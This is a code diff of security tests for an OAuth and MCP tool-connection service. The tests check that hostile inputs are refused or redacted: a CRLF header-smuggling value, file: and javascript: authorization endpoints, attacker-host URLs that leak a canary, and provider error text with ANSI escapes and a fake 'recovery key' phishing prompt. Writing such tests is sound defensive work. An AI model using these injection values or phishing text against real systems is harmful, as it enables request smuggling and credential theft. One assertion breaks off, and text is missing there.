"X-Api-Key", value: "phx_fixture_secret" }, + }); + const company = await createCompany(db); + const service = toolAccessService(db); + + const result = await service.connectGalleryApp(company.id, { + link: MCP_URL, + name: "Fixture headers", + authMode: "custom_headers", + credentialValues: { "headers.X-Api-Key": "phx_fixture_secret" }, + }); + + expect(result.catalog).toHaveLength(2); + const [connection] = await db.select().from(toolConnections).where(eq(toolConnections.id, result.connectionId)); + const serialized = JSON.stringify({ + config: connection!.config, + credentialRefs: connection!.credentialRefs, + credentialSecretRefs: connection!.credentialSecretRefs, + }); + expect(serialized).not.toContain("phx_fixture_secret"); + // The header *name* is what review and diagnostics get to show. + expect(serialized).toContain("X-Api-Key"); + }); + + it("rejects header names Paperclip refuses to send", async () => { + installMcpOAuthFixture({ auth: "public" }); + const company = await createCompany(db); + const service = toolAccessService(db); + + await expect(service.connectGalleryApp(company.id, { + link: MCP_URL, + name: "Fixture unsafe header", + credentialValues: { "headers.Host": "evil.example" }, + })).rejects.toMatchObject({ status: 400 }); + + await expect(service.connectGalleryApp(company.id, { + link: MCP_URL, + name: "Fixture split header", + credentialValues: { "headers.X-Api-Key": "abc\r\nX-Injected: 1" }, + })).rejects.toMatchObject({ status: 400 }); + + // Nothing partial survived either rejection. + await expect(db.select().from(toolConnections)).resolves.toHaveLength(0); + await expect(db.select().from(companySecrets)).resolves.toHaveLength(0); + }); + + it("registers dynamically for an unknown OAuth endpoint and completes the flow", async () => { + const fixture = installMcpOAuthFixture({ auth: "oauth" }); + const company = await createCompany(db); + const service = toolAccessService(db); + + const connected = await service.connectGalleryApp(company.id, { link: MCP_URL, name: "Fixture OAuth" }); + // Discovery succeeded, so the wizard gets a real sign-in branch rather than + // an error, and it already knows which server it is about to trust. + expect(connected.auth).toMatchObject({ kind: "oauth", issuer: ISSUER, resource: MCP_URL }); + + const start = await service.startOAuth(company.id, connected.connectionId, { + redirectUri: REDIRECT_URI, + actor: { actorType: "user", actorId: "board-user" }, + }); + expect(start.registrationSource).toBe("dcr"); + expect(start.issuer).toBe(ISSUER); + + const registration = fixture.requestsTo("/register"); + expect(registration).toHaveLength(1); + expect(registration[0]!.body).toMatchObject({ + redirect_uris: [REDIRECT_URI], + token_endpoint_auth_method: "none", + application_type: "web", + }); + + const authorizationUrl = new URL(start.authorizationUrl); + expect(authorizationUrl.origin + authorizationUrl.pathname).toBe(`${ISSUER}/authorize`); + expect(authorizationUrl.searchParams.get("client_id")).toBe("fixture-dcr-client"); + expect(authorizationUrl.searchParams.get("code_challenge_method")).toBe("S256"); + expect(authorizationUrl.searchParams.get("code_challenge")).toBeTruthy(); + // RFC 8707: the MCP server is named so the token can be audience-restricted. + expect(authorizationUrl.searchParams.get("resource")).toBe(MCP_URL); + + const [afterStart] = await db.select().from(toolConnections).where(eq(toolConnections.id, connected.connectionId)); + expect(afterStart!.authKind).toBe("oauth"); + expect(afterStart!.config).toMatchObject({ + oauth: { issuer: ISSUER, expectedIssuer: ISSUER, resource: MCP_URL, clientRegistrationSource: "dcr" }, + }); + + const code = fixture.issueAuthorizationCode(start.authorizationUrl); + const completed = await service.completeOAuthCallback({ + state: authorizationUrl.searchParams.get("state")!, + code, + iss: ISSUER, + redirectUri: REDIRECT_URI, + actor: { actorType: "user", actorId: "board-user" }, + }); + + // Same catalog/review pipeline a curated connection gets. + expect(completed.actions.readOnly.map((action) => action.toolName)).toEqual(["list_insights"]); + expect(completed.actions.canMakeChanges.map((action) => action.toolName)).toEqual(["create_insight"]); + + const tokenRequest = fixture.requestsTo("/token").at(-1)!; + expect((tokenRequest.body as URLSearchParams).get("resource")).toBe(MCP_URL); + expect((tokenRequest.body as URLSearchParams).get("code_verifier")).toBeTruthy(); + + const [connection] = await db.select().from(toolConnections).where(eq(toolConnections.id, connected.connectionId)); + expect(connection).toMatchObject({ status: "active", enabled: true, authKind: "oauth" }); + // The access token lives in a secret, never in the config JSON. + expect(JSON.stringify(connection!.config)).not.toContain("fixture-access-"); + expect(connection!.credentialSecretRefs.map((ref) => ref.configPath).sort()) + .toEqual(["oauth.access_token", "oauth.refresh_token"]); + }); + + it("discovers a pathful issuer through the OIDC suffix form too", async () => { + installMcpOAuthFixture({ auth: "oauth", wellKnownStyle: "oidc-suffix" }); + const company = await createCompany(db); + const service = toolAccessService(db); + + const connected = await service.connectGalleryApp(company.id, { link: MCP_URL, name: "Fixture suffix" }); + expect(connected.auth).toMatchObject({ kind: "oauth", issuer: ISSUER }); + }); + + it("prefers a Client ID Metadata Document over dynamic registration", async () => { + const fixture = installMcpOAuthFixture({ auth: "oauth", cimd: true }); + const company = await createCompany(db); + const service = toolAccessService(db, { + oauthClientMetadataLookup: async () => [{ address: "93.184.216.34", family: 4 }], + }); + + const connected = await service.connectGalleryApp(company.id, { link: MCP_URL, name: "Fixture CIMD" }); + const start = await service.startOAuth(company.id, connected.connectionId, { + redirectUri: REDIRECT_URI, + actor: { actorType: "user", actorId: "board-user" }, + }); + + expect(start.registrationSource).toBe("cimd"); + // The client_id *is* the document URL, so nothing was registered. + expect(new URL(start.authorizationUrl).searchParams.get("client_id")).toBe(CLIENT_METADATA_DOCUMENT_URL); + expect(fixture.requestsTo("/register")).toHaveLength(0); + }); + + it("replaces a private-only Client ID Metadata Document with dynamic registration", async () => { + const fixture = installMcpOAuthFixture({ + auth: "oauth", + cimd: true, + registrationExtraRedirectUris: [`${ISSUER}/oauth/callback/`], + }); + const company = await createCompany(db); + let metadataAddress = "93.184.216.34"; + const service = toolAccessService(db, { + oauthClientMetadataLookup: async () => [{ address: metadataAddress, family: 4 }], + }); + + const connected = await service.connectGalleryApp(company.id, { link: MCP_URL, name: "Fixture private CIMD" }); + const firstStart = await service.startOAuth(company.id, connected.connectionId, { + redirectUri: "https://paperclip.tailnet.test:42001/api/tools/oauth/callback", + actor: { actorType: "user", actorId: "board-user" }, + }); + expect(firstStart.registrationSource).toBe("cimd"); + + // A private DNS answer models a Tailscale/MagicDNS callback. The first start + // also proves retry migration: a connection that persisted the now-unusable + // CIMD client id must not keep presenting it forever. + metadataAddress = "100.100.100.100"; + const retry = await service.startOAuth(company.id, connected.connectionId, { + redirectUri: "https://paperclip.tailnet.test:42001/api/tools/oauth/callback", + actor: { actorType: "user", actorId: "board-user" }, + }); + + expect(retry.registrationSource).toBe("dcr"); + expect(new URL(retry.authorizationUrl).searchParams.get("client_id")).toBe("fixture-dcr-client"); + expect(fixture.requestsTo("/register")).toHaveLength(1); + }); + + it("falls back to dynamic registration when the callback is not public HTTPS", async () => { + const fixture = installMcpOAuthFixture({ auth: "oauth", cimd: true }); + const company = await createCompany(db); + const service = toolAccessService(db); + + const connected = await service.connectGalleryApp(company.id, { link: MCP_URL, name: "Fixture local CIMD" }); + const start = await service.startOAuth(company.id, connected.connectionId, { + // A loopback callback cannot serve a client_id an authorization server can + // fetch, so CIMD is unavailable and DCR has to carry the flow. + redirectUri: "http://localhost:3100/api/tools/oauth/callback", + actor: { actorType: "user", actorId: "board-user" }, + }); + + expect(start.registrationSource).toBe("dcr"); + expect(fixture.requestsTo("/register")).toHaveLength(1); + }); + + it("prefers a deployment-preconfigured client over any registration", async () => { + const fixture = installMcpOAuthFixture({ auth: "oauth", cimd: true }); + vi.stubEnv("PAPERCLIP_TOOL_OAUTH_CLIENT_ID", "preconfigured-client"); + const company = await createCompany(db); + const service = toolAccessService(db); + + const connected = await service.connectGalleryApp(company.id, { link: MCP_URL, name: "Fixture preconfigured" }); + const start = await service.startOAuth(company.id, connected.connectionId, { + redirectUri: REDIRECT_URI, + actor: { actorType: "user", actorId: "board-user" }, + }); + + expect(start.registrationSource).toBe("preconfigured"); + expect(new URL(start.authorizationUrl).searchParams.get("client_id")).toBe("preconfigured-client"); + expect(fixture.requestsTo("/register")).toHaveLength(0); + }); + + it("asks for a preregistered client when the server offers neither CIMD nor DCR", async () => { + installMcpOAuthFixture({ auth: "oauth", dcr: false }); + const company = await createCompany(db); + const app = createRouteApp(db); + vi.stubEnv("PAPERCLIP_PUBLIC_URL", PUBLIC_BASE_URL); + + const response = await request(app) + .post(`/api/companies/${company.id}/tools/apps/connect`) + .send({ link: MCP_URL, name: "Fixture manual" }) + .expect(201); + + // The draft connection is real; only the client is missing. Losing the draft + // here would make the operator start over just to paste a client id. + expect(response.body.auth).toMatchObject({ kind: "oauth", startUrl: null, manualClientRequired: true }); + await expect(db.select().from(toolConnections)).resolves.toHaveLength(1); + }); + + it("uses preregistered client credentials without registering anything", async () => { + const fixture = installMcpOAuthFixture({ auth: "oauth", dcr: false }); + const company = await createCompany(db); + const service = toolAccessService(db); + + const connected = await service.connectGalleryApp(company.id, { + link: MCP_URL, + name: "Fixture manual client", + authMode: "oauth", + oauthClient: { clientId: "operator-client", clientSecret: "operator-secret" }, + }); + const start = await service.startOAuth(company.id, connected.connectionId, { + redirectUri: REDIRECT_URI, + actor: { actorType: "user", actorId: "board-user" }, + }); + + expect(start.registrationSource).toBe("manual"); + expect(new URL(start.authorizationUrl).searchParams.get("client_id")).toBe("operator-client"); + expect(fixture.requestsTo("/register")).toHaveLength(0); + + const [connection] = await db.select().from(toolConnections).where(eq(toolConnections.id, connected.connectionId)); + // The client secret is a secret ref, and specifically *not* a credential ref: + // it goes to the token endpoint, never onto an MCP request as a header. + expect(connection!.credentialSecretRefs.some((ref) => ref.configPath === "oauth.client_secret")).toBe(true); + expect(connection!.credentialRefs.some((ref) => ref.name === "oauth.client_secret")).toBe(false); + expect(JSON.stringify(connection!.config)).not.toContain("operator-secret"); + + const code = fixture.issueAuthorizationCode(start.authorizationUrl); + await service.completeOAuthCallback({ + state: new URL(start.authorizationUrl).searchParams.get("state")!, + code, + redirectUri: REDIRECT_URI, + actor: { actorType: "user", actorId: "board-user" }, + }); + const tokenRequest = fixture.requestsTo("/token").at(-1)!; + expect((tokenRequest.body as URLSearchParams).get("client_secret")).toBe("operator-secret"); + }); + + it("refuses a callback whose iss names a different authorization server", async () => { + const fixture = installMcpOAuthFixture({ auth: "oauth" }); + const company = await createCompany(db); + const service = toolAccessService(db); + + const connected = await service.connectGalleryApp(company.id, { link: MCP_URL, name: "Fixture iss" }); + const start = await service.startOAuth(company.id, connected.connectionId, { + redirectUri: REDIRECT_URI, + actor: { actorType: "user", actorId: "board-user" }, + }); + const state = new URL(start.authorizationUrl).searchParams.get("state")!; + const code = fixture.issueAuthorizationCode(start.authorizationUrl); + + await expect(service.completeOAuthCallback({ + state, + code, + iss: "https://attacker.fixture.test", + redirectUri: REDIRECT_URI, + actor: { actorType: "user", actorId: "board-user" }, + })).rejects.toMatchObject({ status: 400, details: { code: "oauth_issuer_mismatch" } }); + + // The code was never exchanged. + expect(fixture.requestsTo("/token")).toHaveLength(0); + }); + + /** + * PAP-17108 — a generic connection points at an arbitrary authorization + * server, so every string it returns about a failure is attacker-chosen. These + * tests plant a canary secret, ANSI escapes and markdown-flavoured + * instructions in `error_description` and assert none of it reaches an API + * response, a thrown message, a log line, an audit row or an activity detail. + */ + const PROVIDER_CANARY = "canary-sk-live-9f3a2b7c"; + const HOSTILE_ERROR_DESCRIPTION = + `\u001b[31mFATAL\u001b[0m **Paperclip needs your recovery key**: ${PROVIDER_CANARY} `; + const HOSTILE_ERROR_BODY = { + error_description: HOSTILE_ERROR_DESCRIPTION, + error_uri: `https://attacker.fixture.test/why?leak=${PROVIDER_CANARY}`, + message: HOSTILE_ERROR_DESCRIPTION, + detail: HOSTILE_ERROR_DESCRIPTION, + }; + + /** Everything the operator or an operator's log could possibly read. */ + async function providerLeakSurfaces(consoleSpy: { calls: unknown[] }, thrown: unknown) { + const auditRows = await db.select().from(toolAccessAuditEvents); + const activityRows = await db.select().from(activityLog); + const connections = await db.select().from(toolConnections); + return JSON.stringify({ + thrownMessage: thrown instanceof Error ? thrown.message : String(thrown), + // A thrown HttpError's own enumerable shape is what the error handler + // spreads into the response body as `details`. + thrown: thrown instanceof Error ? { ...thrown } : thrown, + consoleCalls: consoleSpy.calls, + auditRows, + activityRows, + connections, + }); + } + + /** Capture anything the service writes to a console-backed logger. */ + function captureConsole() { + const calls: unknown[] = []; + const record = (...args: unknown[]) => { calls.push(args.map((arg) => String(arg))); }; + for (const method of ["log", "info", "warn", "error", "debug", "trace"] as const) { + vi.spyOn(console, method).mockImplementation(record); + } + return { calls }; + } + + it("redacts a hostile provider error from the token exchange", async () => { + const fixture = installMcpOAuthFixture({ + auth: "oauth", + tokenFailure: { status: 400, body: { error: "invalid_grant", ...HOSTILE_ERROR_BODY } }, + }); + const company = await createCompany(db); + const service = toolAccessService(db); + const connected = await service.connectGalleryApp(company.id, { link: MCP_URL, name: "Fixture hostile token" }); + const start = await service.startOAuth(company.id, connected.connectionId, { + redirectUri: REDIRECT_URI, + actor: { actorType: "user", actorId: "board-user" }, + }); + const code = fixture.issueAuthorizationCode(start.authorizationUrl); + + const consoleSpy = captureConsole(); + const thrown = await service.completeOAuthCallback({ + state: new URL(start.authorizationUrl).searchParams.get("state")!, + code, + iss: ISSUER, + redirectUri: REDIRECT_URI, + actor: { actorType: "user", actorId: "board-user" }, + }).then(() => null, (error: unknown) => error); + + // Paperclip's own copy for `invalid_grant`, not a syllable of the provider's. + expect(thrown).toMatchObject({ + status: 502, + message: "The authorization server rejected the authorization code or refresh token.", + details: { code: "oauth_token_exchange_failed", providerError: "invalid_grant", status: 400 }, + }); + + const surfaces = await providerLeakSurfaces(consoleSpy, thrown); + expect(surfaces).not.toContain(PROVIDER_CANARY); + expect(surfaces).not.toContain("recovery key"); + // JSON-escaped ANSI introducer: an escape sequence would arrive as \u001b. + expect(surfaces).not.toContain("\\u001b"); + expect(surfaces).not.toContain(""], + ["file:", "file:///etc/passwd"], + ["plaintext http", "http://evil.fixture.test/authorize"], + ["credentials disguising the origin", "https://mcp.fixture.test@evil.fixture.test/authorize"], + ["a fragment", "https://auth.fixture.test/authorize#@evil.fixture.test"], + ["a malformed url", "not-a-url"], + ])("refuses to connect when the server advertises %s", async (_label, authorizationEndpoint) => { + installMcpOAuthFixture({ auth: "oauth", authorizationEndpoint }); + const company = await createCompany(db); + const service = toolAccessService(db); + + await expect(service.connectGalleryApp(company.id, { link: MCP_URL, name: "Fixture hostile authorize" })) + .rejects.toMatchObject({ status: 422, details: { code: "oauth_authorization_endpoint_rejected" } }); + + // Nothing about the refused endpoint is persisted, so a later reconnect + // cannot pick it back up out of the connection config. + const [connection] = await db.select().from(toolConnections); + expect(JSON.stringify(connection?.config ?? {})).not.toContain(authorizationEndpoint); + await expect(db.select().from(toolOauthStates)).resolves.toHaveLength(0); + }); + + it("never navigates to a stored authorization endpoint that is unsafe", async () => { + installMcpOAuthFixture({ auth: "oauth" }); + const company = await createCompany(db); + const service = toolAccessService(db); + + const connected = await service.connectGalleryApp(company.id, { link: MCP_URL, name: "Fixture poisoned config" }); + // A row written before the gate existed (or by any other writer) is not + // trusted just because it is in Paperclip's own database. + const poisonStoredAuthorizationUrl = async () => { + const [row] = await db.select().from(toolConnections).where(eq(toolConnections.id, connected.connectionId)); + const poisoned = { + ...row!.config, + oauth: { ...(row!.config.oauth as Record), authorizationUrl: "javascript:alert(1)" }, + }; + await db.update(toolConnections) + .set({ config: poisoned, transportConfig: poisoned }) + .where(eq(toolConnections.id, connected.connectionId)); + }; + await poisonStoredAuthorizationUrl(); + + // The stored value is discarded and re-discovered rather than opened. + const start = await service.startOAuth(company.id, connected.connectionId, { + redirectUri: REDIRECT_URI, + actor: { actorType: "user", actorId: "board-user" }, + }); + expect(start.authorizationUrl.startsWith(`${ISSUER}/authorize?`)).toBe(true); + + // And when re-discovery cannot supply a safe endpoint, sign-in fails + // closed with the reason instead of falling back to the stored value. + await db.delete(toolOauthStates); + await poisonStoredAuthorizationUrl(); + vi.restoreAllMocks(); + vi.spyOn(globalThis, "fetch").mockResolvedValue(jsonResponse({}, 404)); + await expect(service.startOAuth(company.id, connected.connectionId, { + redirectUri: REDIRECT_URI, + actor: { actorType: "user", actorId: "board-user" }, + })).rejects.toMatchObject({ status: 422, details: { code: "oauth_authorization_endpoint_rejected" } }); + await expect(db.select().from(toolOauthStates)).resolves.toHaveLength(0); + }); + + it("refuses an unsafe token endpoint even when the authorization endpoint is fine", async () => { + installMcpOAuthFixture({ auth: "oauth", tokenEndpoint: "http://evil.fixture.test/token" }); + const company = await createCompany(db); + const service = toolAccessService(db); + + await expect(service.connectGalleryApp(company.id, { link: MCP_URL, name: "Fixture hostile token" })) + .rejects.toMatchObject({ status: 422, details: { code: "oauth_token_endpoint_rejected" } }); + }); + + it("allows loopback http only outside an authenticated public deployment", async () => { + installMcpOAuthFixture({ auth: "oauth", authorizationEndpoint: "http://127.0.0.1:8930/authorize" }); + const company = await createCompany(db); + // Default deployment = local development, where a loopback authorization + // server is how someone tests their own MCP server. + const service = toolAccessService(db); + const connected = await service.connectGalleryApp(company.id, { link: MCP_URL, name: "Fixture loopback authorize" }); + const start = await service.startOAuth(company.id, connected.connectionId, { + redirectUri: REDIRECT_URI, + actor: { actorType: "user", actorId: "board-user" }, + }); + expect(new URL(start.authorizationUrl).origin).toBe("http://127.0.0.1:8930"); + + // Same connection, same discovered endpoint, authenticated public + // deployment: the local-development exception no longer applies. + await db.delete(toolOauthStates); + const publicService = toolAccessService(db, { + deploymentMode: "authenticated", + deploymentExposure: "public", + }); + await expect(publicService.startOAuth(company.id, connected.connectionId, { + redirectUri: REDIRECT_URI, + actor: { actorType: "user", actorId: "board-user" }, + })).rejects.toMatchObject({ status: 422, details: { code: "oauth_authorization_endpoint_rejected" } }); + }); + }); + + it("rejects a private-network endpoint in an authenticated public deployment", async () => { + installMcpOAuthFixture({ auth: "public" }); + const company = await createCompany(db); + const service = toolAccessService(db, { + deploymentMode: "authenticated", + deploymentExposure: "public", + }); + + await expect(service.connectGalleryApp(company.id, { + link: "http://127.0.0.1:8848/mcp", + name: "Fixture loopback", + })).rejects.toMatchObject({ details: { code: "remote_http_private_endpoint" } }); + await expect(db.select().from(toolConnections)).resolves.toHaveLength(0); + }); + + it("keeps generic connections inside their own company", async () => { + installMcpOAuthFixture({ auth: "public" }); + const owner = await createCompany(db); + const other = await createCompany(db); + const service = toolAccessService(db); + + const connected = await service.connectGalleryApp(owner.id, { link: MCP_URL, name: "Fixture scoped" }); + + await expect(service.getConnection(connected.connectionId, other.id)).rejects.toMatchObject({ status: 404 }); + await expect(service.startOAuth(other.id, connected.connectionId, { + redirectUri: REDIRECT_URI, + actor: { actorType: "user", actorId: "board-user" }, + })).rejects.toMatchObject({ status: 404 }); + }); + + it("gives a generic connection the same review, access, install, gateway and revoke path", async () => { + installMcpOAuthFixture({ auth: "public" }); + const company = await createCompany(db); + const service = toolAccessService(db); + const policy = toolAccessPolicyService(db); + const [agent, outsideAgent] = await db.insert(agents).values([ + { + companyId: company.id, + name: `Generic MCP agent ${randomUUID()}`, + role: "engineer", + status: "active", + adapterType: "process", + adapterConfig: {}, + runtimeConfig: {}, + }, + { + companyId: company.id, + name: `Outside MCP agent ${randomUUID()}`, + role: "engineer", + status: "active", + adapterType: "process", + adapterConfig: {}, + runtimeConfig: {}, + }, + ]).returning(); + + const connected = await service.connectGalleryApp(company.id, { link: MCP_URL, name: "Fixture governance" }); + const readEntry = connected.catalog.find((entry) => entry.toolName === "list_insights")!; + const writeEntry = connected.catalog.find((entry) => entry.toolName === "create_insight")!; + + // Action selection: enable the read, leave the state-changing action off. + const finished = await service.finishGalleryAppConnection(company.id, connected.connectionId, { + enabledCatalogEntryIds: [readEntry.id], + askFirstCatalogEntryIds: [], + access: { agentIds: [agent!.id] }, + }, { actorType: "user", actorId: "board-user" }); + + expect(finished.connection).toMatchObject({ status: "active", enabled: true }); + expect(finished.profile).toMatchObject({ profileKey: `app:${connected.connectionId}`, defaultAction: "deny" }); + expect(finished.profileBindings).toEqual([ + expect.objectContaining({ targetType: "agent", targetId: agent!.id }), + ]); + + const decisionInput = (catalogEntryId: string, toolName: string, agentId = agent!.id) => ({ + companyId: company.id, + actor: { actorType: "agent" as const, actorId: agentId, agentId }, + request: { connectionId: connected.connectionId, catalogEntryId, toolName }, + }); + + // Action selection is what the app profile encodes: the enabled read is + // allowed for the chosen agent, and the state-changing action the operator + // left off is denied by the profile's `deny` default. + await expect(policy.decide(decisionInput(readEntry.id, "list_insights"))) + .resolves.toMatchObject({ allowed: true, reasonCode: "allow_profile" }); + await expect(policy.decide(decisionInput(writeEntry.id, "create_insight"))) + .resolves.toMatchObject({ allowed: false, reasonCode: "deny_default" }); + await expect(policy.decide(decisionInput(readEntry.id, "list_insights", outsideAgent!.id))) + .resolves.toMatchObject({ allowed: false, reasonCode: "deny_default" }); + + // Simulate a profile written by the legacy install path. Saving installs + // must self-heal this over-broad entry as well as avoiding it for new apps. + await db.insert(toolProfileEntries).values({ + companyId: company.id, + profileId: finished.profile.id, + selectorType: "connection", + effect: "include", + applicationId: connected.connection.applicationId, + connectionId: connected.connectionId, + }); + + // Installation targets the chosen agent, same as a curated connection. + await service.putConnectionInstalls(connected.connectionId, { + installs: [{ targetType: "agent", targetId: agent!.id, enabled: true }], + }, { actorType: "user", actorId: "board-user" }); + const installs = await db.select().from(toolConnectionInstalls) + .where(eq(toolConnectionInstalls.connectionId, connected.connectionId)); + expect(installs).toEqual([expect.objectContaining({ targetType: "agent", targetId: agent!.id })]); + const installedProfileEntries = await db.select().from(toolProfileEntries) + .where(eq(toolProfileEntries.profileId, finished.profile.id)); + expect(installedProfileEntries).not.toEqual(expect.arrayContaining([ + expect.objectContaining({ + selectorType: "connection", + connectionId: connected.connectionId, + effect: "include", + }), + ])); + await expect(policy.decide(decisionInput(readEntry.id, "list_insights"))) + .resolves.toMatchObject({ allowed: true, reasonCode: "allow_profile" }); + await expect(policy.decide(decisionInput(writeEntry.id, "create_insight"))) + .resolves.toMatchObject({ allowed: false, reasonCode: "deny_default" }); + + // Revoke: archiving the connection removes access but keeps the trail. + await service.archiveConnection(connected.connectionId, company.id); + const afterRevoke = await policy.decide(decisionInput(readEntry.id, "list_insights")); + expect(afterRevoke.allowed).toBe(false); + + const auditEvents = await db.select().from(toolAccessAuditEvents) + .where(eq(toolAccessAuditEvents.companyId, company.id)); + expect(auditEvents.length).toBeGreaterThan(0); + }); + + /** + * The help prompt tells an agent exactly what JSON shape to return. Prove that + * shape survives the real preview parser, using the example lifted out of the + * prompt itself rather than a hand-copied duplicate — otherwise the prompt and + * the parser can drift and only an operator would find out. + */ + it("parses the JSON shape the help prompt asks an agent for", async () => { + const service = toolAccessService(db); + const jsonBlock = MCP_CONFIG_HELP_PROMPT.slice( + MCP_CONFIG_HELP_PROMPT.indexOf("{"), + MCP_CONFIG_HELP_PROMPT.lastIndexOf("}") + 1, + ); + // Sanity-check the extraction before relying on it. + expect(() => JSON.parse(jsonBlock)).not.toThrow(); + + const preview = await service.previewMcpJsonImport({ mcpJson: jsonBlock }); + + expect(preview.drafts).toHaveLength(1); + expect(preview.drafts[0]).toMatchObject({ transport: "mcp_remote" }); + expect(preview.drafts[0]!.config).toMatchObject({ url: "https://mcp.example.com/mcp" }); + // The placeholder header name comes through as a field to ask the operator + // for, which is exactly what the prompt promises will happen. + expect(preview.drafts[0]!.credentialFields.map((field) => field.configPath)) + .toContain("headers.Authorization"); + }); + + it("serves a client metadata document with no company or secret data", async () => { + const company = await createCompany(db); + vi.stubEnv("PAPERCLIP_PUBLIC_URL", PUBLIC_BASE_URL); + const app = createRouteApp(db); + + const response = await request(app).get("/api/tools/oauth/client-metadata").expect(200); + + expect(response.body).toMatchObject({ + client_id: CLIENT_METADATA_DOCUMENT_URL, + redirect_uris: [REDIRECT_URI], + token_endpoint_auth_method: "none", + application_type: "web", + }); + expect(JSON.stringify(response.body)).not.toContain(company.id); + }); +}); diff --git a/server/src/__tests__/http-log-redaction.test.ts b/server/src/__tests__/http-log-redaction.test.ts index 46531b935d..e6ac40ea5e 100644 --- a/server/src/__tests__/http-log-redaction.test.ts +++ b/server/src/__tests__/http-log-redaction.test.ts @@ -1,9 +1,12 @@ -import { createServer, request } from "node:http"; +import { createServer, request as httpRequest } from "node:http"; import { Writable } from "node:stream"; +import express from "express"; import pino from "pino"; import { pinoHttp } from "pino-http"; +import request from "supertest"; import { describe, expect, it } from "vitest"; import { HTTP_LOG_REDACT_PATHS } from "../middleware/http-log-redaction.js"; +import { createHttpLogger } from "../middleware/logger.js"; describe("HTTP logger redaction", () => { it("defines the HTTP auth and cookie header paths that must be redacted", () => { @@ -44,7 +47,7 @@ describe("HTTP logger redaction", () => { } await new Promise((resolve, reject) => { - const client = request( + const client = httpRequest( { hostname: "127.0.0.1", port: address.port, @@ -83,4 +86,45 @@ describe("HTTP logger redaction", () => { expect(log.req.headers["set-cookie"]).toBe("[Redacted]"); expect(log.res.headers["set-cookie"]).toBe("[Redacted]"); }); + + it("drops OAuth callback query data from the message and structured request", async () => { + const chunks: string[] = []; + const stream = new Writable({ + write(chunk, _encoding, callback) { + chunks.push(chunk.toString()); + callback(); + }, + }); + const testLogger = pino({ redact: [...HTTP_LOG_REDACT_PATHS] }, stream); + const app = express(); + app.use(createHttpLogger(testLogger)); + app.get("/api/tools/oauth/callback", (_req, res) => { + res.status(400).json({ error: "callback rejected" }); + }); + + const authorizationCode = "oauth-code-canary-61a88f"; + const providerProse = "provider-prose-canary-2087e2"; + const providerUriCanary = "provider-uri-canary-d91ac4"; + const response = await request(app) + .get("/api/tools/oauth/callback") + .query({ + code: authorizationCode, + error_description: providerProse, + error_uri: `https://provider.example/error?detail=${providerUriCanary}`, + }); + + expect(response.status).toBe(400); + const output = chunks.join(""); + expect(output).not.toMatch(new RegExp(`${authorizationCode}|${providerProse}|${providerUriCanary}`)); + + const log = JSON.parse(output.trim()) as { + msg: string; + req: { method: string; url: string; query?: unknown }; + reqQuery?: unknown; + }; + expect(log.msg).toBe("GET /api/tools/oauth/callback 400"); + expect(log.req).toMatchObject({ method: "GET", url: "/api/tools/oauth/callback" }); + expect(log.req.query).toBeUndefined(); + expect(log.reqQuery).toBeUndefined(); + }); }); diff --git a/server/src/__tests__/oauth-client-metadata.test.ts b/server/src/__tests__/oauth-client-metadata.test.ts new file mode 100644 index 0000000000..94770d033a --- /dev/null +++ b/server/src/__tests__/oauth-client-metadata.test.ts @@ -0,0 +1,31 @@ +import { describe, expect, it } from "vitest"; + +import { + OAUTH_CLIENT_ID_METADATA_DOCUMENT_PATH, + resolveOAuthClientIdMetadataDocumentUrl, +} from "../services/tool-access.js"; + +describe("OAuth Client ID Metadata Document selection", () => { + it("uses a publicly resolved HTTPS callback origin", async () => { + const redirectUri = "https://paperclip.example:42001/api/tools/oauth/callback"; + + await expect(resolveOAuthClientIdMetadataDocumentUrl( + redirectUri, + async () => [{ address: "93.184.216.34", family: 4 }], + )).resolves.toBe(`https://paperclip.example:42001${OAUTH_CLIENT_ID_METADATA_DOCUMENT_PATH}`); + }); + + it("rejects a Tailscale-range hostname so OAuth can fall back to DCR", async () => { + await expect(resolveOAuthClientIdMetadataDocumentUrl( + "https://paperclip.tailnet.example:42001/api/tools/oauth/callback", + async () => [{ address: "100.100.100.100", family: 4 }], + )).resolves.toBeNull(); + }); + + it.each([ + "http://localhost:3100/api/tools/oauth/callback", + "https://127.0.0.1:3100/api/tools/oauth/callback", + ])("rejects a non-public callback origin %s", async (redirectUri) => { + await expect(resolveOAuthClientIdMetadataDocumentUrl(redirectUri)).resolves.toBeNull(); + }); +}); diff --git a/server/src/__tests__/plugin-worker-manager.test.ts b/server/src/__tests__/plugin-worker-manager.test.ts index 6dba39b371..4aac14fab4 100644 --- a/server/src/__tests__/plugin-worker-manager.test.ts +++ b/server/src/__tests__/plugin-worker-manager.test.ts @@ -1246,20 +1246,20 @@ describe("plugin worker manager setup-token pty route gate", () => { try { await handle.start(); const session = await handle.openLoginPtySession( - ptyOpenInput({ - outputs: [ - { chunk: "aaaaa" }, // total 5 → delivered - { chunk: "bbbbb" }, // total 10 → delivered - { chunk: "ccccc" }, // total 15 > 10 → terminalize - ], - }), + ptyOpenInput({ mode: "normal" }), ); const chunks: string[] = []; session.onData((chunk) => chunks.push(chunk)); + // Each empty input produces the five-character `echo:` chunk. Attach the + // listener first, then drive exactly two accepted chunks and one overflow + // so process scheduling cannot move output ahead of listener registration. + session.write(""); + session.write(""); + session.write(""); // The per-route bound terminalizes the route, so the login wait resolves // with a null exit code and the third chunk never reaches the listener. await expect(session.wait()).resolves.toEqual({ exitCode: null }); - expect(chunks).toEqual(["aaaaa", "bbbbb"]); + expect(chunks).toEqual(["echo:", "echo:"]); } finally { await handle.stop().catch(() => undefined); } diff --git a/server/src/__tests__/redact-sensitive.test.ts b/server/src/__tests__/redact-sensitive.test.ts index 8804ddb826..78761a51f6 100644 --- a/server/src/__tests__/redact-sensitive.test.ts +++ b/server/src/__tests__/redact-sensitive.test.ts @@ -1,5 +1,5 @@ import { describe, expect, it } from "vitest"; -import { redactSensitive } from "../middleware/redact-sensitive.js"; +import { redactSensitive, stripSecretBearingUrlParts } from "../middleware/redact-sensitive.js"; describe("redactSensitive", () => { it("redacts a plaintext password field on a sign-in body", () => { @@ -32,6 +32,24 @@ describe("redactSensitive", () => { } }); + it("redacts an OAuth provider's error_description and error_uri from a callback query", () => { + const out = redactSensitive({ + state: "paperclip-state", + error: "access_denied", + error_description: "\u001b[31mPaste your recovery key\u001b[0m sk-live-canary", + error_uri: "https://attacker.example/explain?leak=sk-live-canary", + }) as Record; + + // The `error` code is Paperclip's one allowlisted label, so it stays legible + // in logs; the provider's prose does not. + expect(out.error).toBe("access_denied"); + expect(out.state).toBe("paperclip-state"); + expect(out.error_description).toBe("[REDACTED]"); + expect(out.error_uri).toBe("[REDACTED]"); + expect(JSON.stringify(out)).not.toContain("sk-live-canary"); + 